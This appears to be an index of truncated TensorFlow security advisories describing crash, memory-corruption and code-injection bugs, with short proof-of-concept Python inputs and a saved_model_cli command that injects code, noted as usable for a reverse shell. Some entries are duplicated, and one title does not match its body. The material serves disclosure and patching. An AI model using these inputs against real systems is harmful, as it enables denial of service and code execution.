PYSEC-2026-3092 TensorFlow vulnerable to `CHECK` fail in `Conv2DBackpropInput`

Impact When Conv2DBackpropInput receives empty outbackprop inputs e.g. 3, 1, 0, 1, the current CPU/GPU kernels CHECK fail one with dnnl, the other with cudnn. This can be used to trigger a denial of service attack. python import tensorflow as tf import numpy as np inputsizes = 3, 1, 1, 2 filter =...

PYSEC-2026-3299 Core dump when loading TFLite models with quantization in TensorFlow

Impact Certain TFLite models that were created using TFLite model converter would crash when loaded in the TFLite interpreter. The culprit is that during quantization the scale of values could be greater than 1 but code was always assuming sub-unit scaling. Thus, since code was calling...

PYSEC-2026-3269 TensorFlow vulnerable to `CHECK` fail in `Conv2DBackpropInput`

Impact When Conv2DBackpropInput receives empty outbackprop inputs e.g. 3, 1, 0, 1, the current CPU/GPU kernels CHECK fail one with dnnl, the other with cudnn. This can be used to trigger a denial of service attack. python import tensorflow as tf import numpy as np inputsizes = 3, 1, 1, 2 filter =...

PYSEC-2026-3125 Code injection in `saved_model_cli` in TensorFlow

Impact TensorFlow's savedmodelcli tool is vulnerable to a code injection: savedmodelcli run --inputexprs 'x=print"malicious code to run"' --dir ./ --tagset serve --signaturedef servingdefault This can be used to open a reverse shell savedmodelcli run --inputexprs 'hello=exec"""\nimport...

PYSEC-2026-3107 Incomplete validation in signal ops leads to crashes in TensorFlow

Impact The tf.compat.v1.signal.rfft2d and tf.compat.v1.signal.rfft3d lack input validation and under certain condition can result in crashes due to CHECK-failures. Patches We have patched the issue in GitHub commit 0a8a781e597b18ead006d19b7d23d0a369e9ad73 merging GitHub PR 55274. The fix will be...

PYSEC-2026-3280 Undefined behavior when users supply invalid resource handles

Impact Multiple TensorFlow operations misbehave in eager mode when the resource handle provided to them is invalid: python import tensorflow as tf tf.rawops.QueueIsClosedV2handle= python import tensorflow as tf tf.summary.flushwriter= In graph mode, it would have been impossible to perform these...

PYSEC-2026-3266 Segfault and OOB write due to incomplete validation in `EditDistance` in TensorFlow

Impact The implementation of tf.rawops.EditDistance has incomplete validation. Users can pass negative values to cause a segmentation fault based denial of service: python import tensorflow as tf hypothesisindices = tf.constant-1250999896764, shape=3, 3, dtype=tf.int64 hypothesisvalues =...

PYSEC-2026-3112 Undefined behavior when users supply invalid resource handles

Impact Multiple TensorFlow operations misbehave in eager mode when the resource handle provided to them is invalid: python import tensorflow as tf tf.rawops.QueueIsClosedV2handle= python import tensorflow as tf tf.summary.flushwriter= In graph mode, it would have been impossible to perform these...

PYSEC-2026-3167 Type confusion leading to `CHECK`-failure based denial of service in TensorFlow

Impact The macros that TensorFlow uses for writing assertions e.g., CHECKLT, CHECKGT, etc. have an incorrect logic when comparing sizet and int values. Due to type conversion rules, several of the macros would trigger incorrectly. Patches We have patched the issue in GitHub commit...

PYSEC-2026-3315 Type confusion leading to `CHECK`-failure based denial of service in TensorFlow

Impact The macros that TensorFlow uses for writing assertions e.g., CHECKLT, CHECKGT, etc. have an incorrect logic when comparing sizet and int values. Due to type conversion rules, several of the macros would trigger incorrectly. Patches We have patched the issue in GitHub commit...

PYSEC-2026-3260 Segfault if `tf.histogram_fixed_width` is called with NaN values in TensorFlow

Impact The implementation of tf.histogramfixedwidth is vulnerable to a crash when the values array contain NaN elements: python import tensorflow as tf import numpy as np tf.histogramfixedwidthvalues=np.nan, valuerange=1,2 The implementation assumes that all floating point operations are defined...

PYSEC-2026-3339 Heap buffer overflow due to incorrect hash function in TensorFlow

Impact The TensorKey hash function used total estimated AllocatedBytes, which a is an estimate per tensor, and b is a very poor hash function for constants e.g. int32t. It also tried to access individual tensor bytes through tensor.data of size AllocatedBytes. This led to ASAN failures because th...

PYSEC-2026-3382 Segfault if `tf.histogram_fixed_width` is called with NaN values in TensorFlow

Impact The implementation of tf.histogramfixedwidth is vulnerable to a crash when the values array contain NaN elements: python import tensorflow as tf import numpy as np tf.histogramfixedwidthvalues=np.nan, valuerange=1,2 The implementation assumes that all floating point operations are defined...

PYSEC-2026-3088 Segfault and OOB write due to incomplete validation in `EditDistance` in TensorFlow

Impact The implementation of tf.rawops.EditDistance has incomplete validation. Users can pass negative values to cause a segmentation fault based denial of service: python import tensorflow as tf hypothesisindices = tf.constant-1250999896764, shape=3, 3, dtype=tf.int64 hypothesisvalues =...

PYSEC-2026-3235 Missing validation results in undefined behavior in `SparseTensorDenseAdd

Impact The implementation of tf.rawops.SparseTensorDenseAdd does not fully validate the input arguments: python import tensorflow as tf aindices = tf.constant0, shape=17, 2, dtype=tf.int64 avalues = tf.constant, shape=0, dtype=tf.float32 ashape = tf.constant6, 12, shape=2, dtype=tf.int64 b =...

PYSEC-2026-3207 Integer overflow in `SpaceToBatchND`

Impact The implementation of tf.rawops.SpaceToBatchND in all backends such as XLA and handwritten kernels is vulnerable to an integer overflow: python import tensorflow as tf input = tf.constant-3.5e+35, shape=10,19,22, dtype=tf.float32 blockshape = tf.constant-1879048192, shape=2, dtype=tf.int64...

PYSEC-2026-3224 Missing validation results in undefined behavior in `QuantizedConv2D`

Impact The implementation of tf.rawops.QuantizedConv2D does not fully validate the input arguments: python import tensorflow as tf input = tf.constant1, shape=1, 2, 3, 3, dtype=tf.quint8 filter = tf.constant1, shape=1, 2, 3, 3, dtype=tf.quint8 bad args mininput = tf.constant, shape=0,...

PYSEC-2026-3312 Denial of service in `tf.ragged.constant` due to lack of validation

Impact The implementation of tf.ragged.constant does not fully validate the input arguments. This results in a denial of service by consuming all available memory: python import tensorflow as tf tf.ragged.constantpylist=,raggedrank=8968073515812833920 Patches We have patched the issue in GitHub...

PYSEC-2026-3342 Missing validation causes denial of service via `Conv3DBackpropFilterV2`

Impact The implementation of tf.rawops.UnsortedSegmentJoin does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack: python import tensorflow as tf tf.strings.unsortedsegmentjoin inputs='123', segmentids=0, numsegments=-1...

PYSEC-2026-3203 Missing validation causes denial of service via `Conv3DBackpropFilterV2`

Impact The implementation of tf.rawops.UnsortedSegmentJoin does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack: python import tensorflow as tf tf.strings.unsortedsegmentjoin inputs='123', segmentids=0, numsegments=-1...